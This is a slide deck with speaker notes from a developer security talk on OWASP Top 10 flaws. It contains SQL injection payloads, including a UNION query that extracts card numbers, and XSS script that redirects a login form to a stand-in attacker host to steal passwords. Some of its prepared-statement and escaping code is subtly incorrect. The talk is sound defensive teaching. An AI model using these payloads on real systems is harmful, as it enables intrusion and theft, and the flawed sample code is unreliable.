Upload
colin-odell
View
248
Download
0
Embed Size (px)
Citation preview
PowerPoint Presentation
Hacking Your WayTo Better SecurityColin O'Dell@colinodell
NO NAME YET
Colin ODell@colinodellLead Web Developer at Unleashed TechnologiesPHP developer since 2002league/commonmark maintainerPHP 7 Upgrade Guide e-book authorphp[world] 2015 CtF winner
14 years
For those who arent familiar, Capture the Flag is a security competition
Im not sharing this brag, but ratherShowing you dont have to be a professional security researcher or pentester to be knowledgeable about securityIn fact, I think its critically important that all developers... Especially in this day and age
Id like to share some of that security knowledge with you today2
GoalsExplore several top security vulnerabilities from the perspective of an attacker.Understand how to detect and exploit common vulnerabilitiesLearn how to protect against those vulnerabilities
Goals of this intermediate-level talk
DisclaimersNEVER test systems that arent yours without explicit permission.Examples in this talk are fictional, but the vulnerability behaviors shown are very real.
Asking forgiveness is easier than asking for permissionNot if youre in jail----I might mention some real sites, but none are actually vulnerableJust make it easier to explain things since youre probably familiar with how theyre supposed to function
OUTRO: So for this talk, were going to talk through several of the OWASP Top 10 vulnerabilities
OWASP Top 10
[CONT] So for this talk, were going to talk through several of the OWASP Top 10 vulnerabilities
OWASP Top 10Regular publication by The Open Web Application Security Project
Highlights the 10 most-critical web application security risks
Non-profit organization
Provide free articles, resources, and tools for web security
[NEXT]
Example
Each risk is documented with a description, detailed examples, mitigation techniques, and references to other helpful resources
SQL InjectionModifying SQL statements to:Spoof identityTamper with dataDisclose hidden information
SQL Injection Basics$value = $_REQUEST['value'];SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' ";$sql = "SELECT * FROM x WHERE y = '$value' ";$database->query($sql);
UsernamePassword
Log Inadminpassword
UsernamePassword
Log InadminInvalid username or password. Please try again.password'
UsernamePassword
Log InadminUnknown error.
tail n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1.
tail n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND password = 'password'';
$$
tail n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1.
tail n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND password = 'password'';
$~~$
UsernamePassword
Log InadminUnknown error.' test
UsernamePassword
Log InadminUnknown error.
tail n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1.
tail n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND password = '' test';
$$
tail n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1.
tail n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND password = '' test';
$$~~~~~~~~
~~~~~~~~SELECT * FROM users WHERE username = 'admin' AND password = '' test';
SELECT * FROM users WHERE username = 'admin' AND password = '';
SELECT * FROM users WHERE username = 'admin' AND password = '' OR (something that is true);
SELECT * FROM users WHERE username = 'admin' AND (true);
SELECT * FROM users WHERE username = 'admin';
[Quickly]#1 - You may notice this looks a lot like this one here but with a little extra
What if we could insert something other than test here perhaps an OR condition that evaluates to TRUE?
If so, that would cancel out the password check
SELECT * FROM users WHERE username = 'admin' AND password = '' test ';' test
SELECT * FROM users WHERE username = 'admin' AND password = '' test ';' testSELECT * FROM users WHERE username = 'admin' AND password = '' test ';~~~~~~~~~~~~~~~
SELECT * FROM users WHERE username = 'admin' AND password = ' ';
SELECT * FROM users WHERE username = 'admin' AND password = ' ';
SELECT * FROM users WHERE username = 'admin' AND password = '' ';'SELECT * FROM users WHERE username = 'admin' AND password = '' ';~~~
SELECT * FROM users WHERE username = 'admin' AND password = '' ' ';' 'SELECT * FROM users WHERE username = 'admin' AND password = '' ' ';~~~~~~~~~~~~~~
SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' ';' OR 'SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' ';
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';' OR '1'='1SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
UsernamePassword
Log InadminUnknown error.' OR '1'='1
Welcome Admin!
Admin Menu:Give customer moneyTake money awayReview credit card applicationsClose accounts
Blind SQL Injection
Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not directly visible to the attacker.
Instead, you use SQL injections to basically ask yes/no questions and use the different site behaviors to obtain the answers.
Blind SQL InjectionInvalid username or password. Please try again.Unknown error.Valid query(empty result)Invalid queryWelcome Admin!Valid query(with result)
Syntax error - Single quote is missing its pair; query is structured differently than expectedTable or column doesnt exist
If we know site is vulnerable and see this (#2), SQL injection almost workedTable and column names are validAssertion failed
SQL injection worked (definitely)Database and column names are validAssertion succeeded or conditional bypassedSo lets abuse this to learn more about the database
UsernamePassword
Log Inadmin' AND (SELECT id FROM user LIMIT 1) = '
Lets try to figure out table and column namesProbably a user table
UsernamePassword
Log Inadmin' AND (SELECT id FROM user LIMIT 1) = 'Unknown error.
ErrorsQuerySELECT * FROM users WHERE username = 'admin' ANDpassword = '' AND (SELECT id FROM user LIMIT 1) = '';
Lets try to figure out table and column namesProbably a user table
UsernamePassword
Log Inadmin' AND (SELECT id FROM user LIMIT 1) = '
ErrorsQueryMySQL error: Unknown table 'user'.Unknown error.
Lets try to figure out table and column namesProbably a user table
UsernamePassword
Log Inadmin' AND (SELECT id FROM users LIMIT 1) = '
ErrorsQueryMySQL error: Unknown table 'user'.Unknown error.
Lets try to figure out table and column namesProbably a user table
UsernamePassword
Log Inadmin
Invalid username or password. Please try again.
Different error, so table definitely existsRepeat this process to learn more
SQL Injection:Data Disclosure
But previous method is all guessworkWhat if just show the data?
SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/123SELECT * FROM books WHERE id = 123$id = ;
$sql = "SELECT title, author, price FROM books WHERE id = " . $id;
$data = $database->query($sql);{ 'title' => 'The Great Gatsby', 'author' => 'F. Scott Fitzgerald', 'price' => 9.75}
SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999SELECT * FROM books WHERE id = 99999$id = ;
$sql = "SELECT title, author, price FROM books WHERE id = " . $id;
$data = $database->query($sql);{}
OUTRO: So thats the desired functionalityBut what if this site was vulnerable?What could we do?Well
SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/?????SELECT * FROM books WHERE id = ?????$id = ;
$sql = "SELECT title, author, price FROM books WHERE id = " . $id;
$data = $database->query($sql);{ 'title' => '', 'author' => '', 'price' => 0.00}
Maybe we could somehow set the id to cause a SQL injection that ouputs other information we want.[CLICK TO ANIMATE]But how you ask?With the SQL UNION operator
SQL UNION QueryColumn 1Column 2Column 3The Great GatsbyF. Scott Fitzgerald9.75
Column 1Column 2Column 3FooBar123
Column 1Column 2Column 3The Great GatsbyF. Scott Fitzgerald9.75FooBar123
UNION
SQL UNION QueryColumn 1Column 2Column 3The Great GatsbyF. Scott Fitzgerald9.75
Column 1Column 2Column 3(SELECT)11
Column 1Column 2Column 3The Great GatsbyF. Scott Fitzgerald9.75(SELECT)11
UNION
SQL UNION QueryColumn 1Column 2Column 3(empty)
Column 1Column 2Column 3(SELECT)11
Column 1Column 2Column 3(SELECT)11
UNION
SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999 UNION SELECT number FROMcreditcardsSELECT * FROM books WHERE id = ?????$id = ;
$sql = "SELECT title, author, price FROM books WHERE id = " . $id;
$data = $database->query($sql);{ 'title' => '', 'author' => '', 'price' => 0.00}
SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcardsSELECT * FROM books WHERE id = ?????$id = ;
$sql = "SELECT title, author, price FROM books WHERE id = " . $id;
$data = $database->query($sql);{ 'title' => '', 'author' => '', 'price' => 0.00}
SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcardsSELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards$id = ;
$sql = "SELECT title, author, price FROM books WHERE id = " . $id;
$data = $database->query($sql);{ 'title' => '', 'author' => '', 'price' => 0.00}
SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcardsSELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards$id = ;
$sql = "SELECT title, author, price FROM books WHERE id = " . $id;
$data = $database->query($sql);{ 'title' => '4012-3456-7890-1234', 'author' => 1, 'price' => 1}
$val = $_REQUEST['value'];
$sql = "SELECT * FROM x WHERE y = '$val' ";
$database->query($sql);
Protecting Against SQL InjectionBlock input with special characters
Protecting Against SQL InjectionBlock input with special charactersEscape user input$value = $_REQUEST['value'];$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";$database->query($sql);' OR '1' = '1\' OR \'1\' = \'1mysqli_real_escape_string()SELECT * FROM xWHERE y = '\' OR \'1\' = \'1'
CLICK TO ANIMATE EXPLANATION
[Double-escape]
Protecting Against SQL InjectionBlock input with special charactersEscape user input$value = $_REQUEST['value'];$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";$database->query($sql);' OR '1' = '1\' OR \'1\' = \'1mysqli_real_escape_string()SELECT * FROM xWHERE y = '\' OR \'1\' = \'1'
OUTRO: Or better yet
Protecting Against SQL InjectionBlock input with special charactersEscape user inputUse prepared statements $mysqli = new mysqli("localhost", "user", "pass", "db");
$q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' ");
$q->bind_param(1, $_REQUEST['value']);
$q->execute();Native PHP:mysqlipdo_mysql
Frameworks / Libraries:DoctrineEloquentZend_Db
Other Types of InjectionNoSQL databasesOS CommandsLDAP QueriesSMTP Headers
NO EXAMPLE!
XSSCross-Site ScriptingInjecting code into the webpage (for other users)Execute malicious scriptsHijack sessionsInstall malwareDeface websites
XSS AttackBasics$value = $_POST['value'];$value = $rssFeed->first->title;$value = db_fetch('SELECT x FROM table');
Raw code/scriptis injected onto a page
[VISUAL EXAMPLE NEXT]
XSS Cross-Site Scripting Basics
Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.
document.getElementById('evilform').submit();
So when the server sends the code,The browser runs it as-isJust like all other HTML/JS that intentionally runs
XSS Cross-Site Scripting
short.lyPaste a URL hereShorten
XSS Cross-Site Scripting
short.lyhttp://www.colinodell.comShorten
XSS Cross-Site Scripting
short.lyhttp://www.colinodell.comShortenShort URL:http://short.ly/b7fe9
Original URL:http://www.colinodell.com
XSS Cross-Site Scripting
short.lyPlease wait while we redirect you tohttp://www.colinodell.com
XSS Cross-Site Scripting
short.lyalert('hello world!');Shorten
(EXPLAIN CODE)This JS should create an alert popup window(SUBMIT)
XSS Cross-Site Scripting
short.lyalert('hello world!');ShortenShort URL:http://short.ly/3bs8a
Original URL:hello world!OKX
XSS Cross-Site Scripting
short.lyalert('hello world!');ShortenShort URL:http://short.ly/3bs8a
Original URL:
Short URL: http://short.ly/3bs8a
Original URL: alert('hello world!');
XSS Cross-Site Scripting
short.ly
Shorten
AUDIO STARTS NEXT SLIDE
XSS Cross-Site Scripting
short.ly
ShortenShort URL:http://short.ly/3bs8a
Original URL:
XSS Cross-Site Scripting
short.lyPlease wait while we redirect you to
XSS Cross-Site Scriptingdocument.getElementById('login-form').action ='http://malicious-site.com/steal-passwords.php';
Ex 1: REDDIT
NO 2ND EXAMPLE!!!!!!!
Protecting Against XSS Attacks$value = $_POST['value'];$value = db_fetch('SELECT value FROM table');$value = $rssFeed->first->title;
Protecting Against XSS AttacksFilter user input$value = strip_tags($_POST['value']);$value = strip_tags( db_fetch('SELECT value FROM table') );$value = strip_tags($rssFeed->first->title);
Some data lossPastebin, Gist, etc
Protecting Against XSS AttacksFilter user inputEscape user input$value = htmlspecialchars($_POST['value']);$value = htmlspecialchars( db_fetch('SELECT value FROM table') );$value = htmlspecialchars($rssFeed->first->title);
htmlspecialchars()
Safer, no data loss
Protecting Against XSS AttacksFilter user inputEscape user inputEscape output$value = $_POST['value'];$value = db_fetch('SELECT value FROM table');$value = $rssFeed->first->title;
Protecting Against XSS AttacksFilter user inputEscape user inputEscape output{{ some_variable }}{{ some_variable|raw }}
Laravel blade also automatic, similar syntax
CSRFCross-Site Request ForgeryExecute unwanted actions on another site which user is logged in to.Change passwordTransfer fundsAnything the user can do
CSRF Cross-Site Request Forgery
Hi Facebook! I am colinodell and my password is *****.
Welcome Colin! Heres your news feed.
Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.
CSRF Cross-Site Request Forgery
Hi other website! Show me your homepage.
Sure, here you go!Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.
document.getElementById('evilform').submit();
CSRF Cross-Site Request Forgery
document.getElementById('evilform').submit();
CSRF Cross-Site Request Forgery
document.getElementById('evilform').submit();
Tell Facebook we want to change our password to hacked123
Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.
CSRF Cross-Site Request Forgery
document.getElementById('evilform').submit();
Hi Facebook! Please change my password to hacked123.
Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.
Done!
OUTRO: Can also be done by using XSS
CSRF Cross-Site Request Forgery
short.ly
Shorten
[FAST]
CSRF Cross-Site Request Forgery
short.lyPlease wait while we redirect you toX
[CSRF TOKENS NEXT!!!]
Protecting Against CSRF AttacksOnly use POST requests?
[Cross site request forgery]
What if we
Would that be safe?
Protecting Against CSRF AttacksOnly use POST requests?NO!
POST requests are vulnerable too
Common Misconceptions:
tags can only make GET requests
If a user doesnt click a form it wont submit
NO! POST requests are vulnerable too.This is one of many common misconceptions some developers have.
For example
#1 yeah, but a form can make post requests#2 no, JS can submit the form
Protecting Against CSRF AttacksOnly use POST requests?Use a secret cookie?
Protecting Against CSRF AttacksOnly use POST requests?Use a secret cookie?NO!
Cookies are sent on every request.
Protecting Against CSRF AttacksOnly use POST requests?Use a secret cookie?Use random CSRF tokensYES!
Generate a random string per user.Store it in their session.Add to form as hidden field.Compare submitted value to sessionSame token? Proceed.Different/missing? Reject the request.
Hidden value, only shown on our website, that only us and the current page knowOTHER SITES CANT SEE THIS VALUE, ONLY THE USER (due to browsers same-origin policy)NOT SAVED TO COOKIE OR AVAILABLE OUTSIDE WEBSITE!
(AFTER BULLETS)Remember, the attacker doesnt have access to their session or the HTML you generated dynamically for the particular user.
Protecting Against CSRF AttacksUse randomized CSRF tokens
Generate a random string per user.Store it in their session.Add to form as hidden field.Compare submitted value to sessionSame token? Proceed.Different/missing? Reject the request.
Hidden value, only shown on our website, that only us and the current page knowOTHER SITES CANT SEE THIS VALUE, ONLY THE USER (due to browsers same-origin policy)NOT SAVED TO COOKIE OR AVAILABLE OUTSIDE WEBSITE!
(AFTER BULLETS)Remember, the attacker doesnt have access to their session or the HTML you generated dynamically for the particular user.
InsecureDirect Object ReferencesAccess & manipulate objects you shouldnt have access to
Insecure Direct Object References
Lets imagine Facebook is vulnerable to [READ TITLE]Just change the 9 to an 8
Insecure Direct Object References
Beverly Cooper
Even though Facebook never linked us here, we still got hereAnd FB didnt check again at _this_ point in time
OUTRO: Fake example FB doesnt do this
Insecure Direct Object References
Facebook does check whether youre authorized to see the image
OUTRO: Not just limited to URLs
Insecure Direct Object References
Insecure Direct Object References
Insecure Direct Object References
If bank is vulnerable, and form is submitted,They wont check the ID and allow the transfer to go throughBad!
Protecting Against Insecure Direct Object ReferencesCheck permission on data inputURL / route parameters
Form field inputs
Basically anything thats an ID
If they dont have permission, show a 403 (or 404) page
#2 I like Symfony because it whitelists values in values in dropdowns ()
#3 Good guideline, but not all-encompassing rule
Protecting Against Insecure Direct Object ReferencesCheck permission on data inputCheck permission on data outputDo they have permission to access this object?
Do they have permission to even know this exists?
This is not security through obscurity
#3 That means hiding the objects / IDs as the only measure of securityWhat I mean is not disclosing information users shouldnt see, or showing actions they cant take
Sensitive Data Exposure
Security Misconfiguration
Components with Known Vulnerabilities
Actually three different vuln
Similar enough
http://www.example.com/CHANGELOGhttp://www.example.com/composer.lockhttp://www.example.com/.git/http://www.example.com/.envhttp://www.example.com/robots.txt
Sensitive Data Exposure
Is private data being exposed to the world?
Sensitive Data Exposure - CHANGELOG
Sensitive Data Exposure composer.lock
Sensitive Data Exposure composer.lock
Sensitive Data Exposure .git
Sensitive Data Exposure robots.txt
Private information that is stored, transmitted, or backed-up in clear text (or with weak encryption)Customer informationCredit card numbersCredentialsSensitive Data Exposure
OUTRO: So thats sensitive data exposure. In a similar vein we have
Security Misconfiguration & Components with Known VulnerabilitiesDefault accounts enabled; weak passwordsadmin / admin
Security configurationDoes SSH grant root access?Are weak encryption keys used?
Out-of-date softwareOld versions with known issuesAre the versions exposed?Unused software running (FTP server)
NO DROWN!
Components with Known Vulnerabilities
Components with Known Vulnerabilities
Components with Known Vulnerabilities
You might be thinking OMG they explain the attack?Yes, but its a good thing!
Problem is: your version is exposed, hackers may know youre vulnerable
Protecting AgainstSensitive Data Exposure, Security Misconfiguration, and Components with Known VulnerabilitiesKeep software up-to-dateInstall critical updates immediately
Install other updates regularly
#1 If theres a patch available, theres also a hacker who can understand the original problem and create an exploit
#2 Otherwise software falls into decay and is extremely hard to upgrade when the next critical update rolls out
Protecting AgainstSensitive Data Exposure, Security Misconfiguration, and Components with Known VulnerabilitiesKeep software up-to-dateKeep sensitive data out of web rootFiles which provide version numbersREADME, CHANGELOG, .git, composer.lock
Database credentials & API keys
Encryption keys
END: But really, you should hide them
Protecting AgainstSensitive Data Exposure, Security Misconfiguration, and Components with Known VulnerabilitiesKeep software up-to-dateKeep sensitive data out of web rootUse strong encryptionEncrypt with a strong private key
Encrypt backups and data-in-transit
Use strong hashing techniques for passwords
Protecting AgainstSensitive Data Exposure, Security Misconfiguration, and Components with Known VulnerabilitiesKeep software up-to-dateKeep sensitive data out of web rootUse strong encryptionTest your systemsScan your systems with automated tools
Test critical components yourselfAutomated testsManual tests
Good advice in general for all security topics weve covered
And that wraps up the last set of vulenerabilities were covering today
Next StepsTest your own applications for vulnerabilitiesLearn more about security & ethical hackingEnter security competitions (like CtF)Stay informed
PodcastsSlashdotSubreddits
Questions?
Thanks!Slides & feedback: https://joind.in/talk/10819 Colin O\\\\\'Dell@colinodell
null15046.456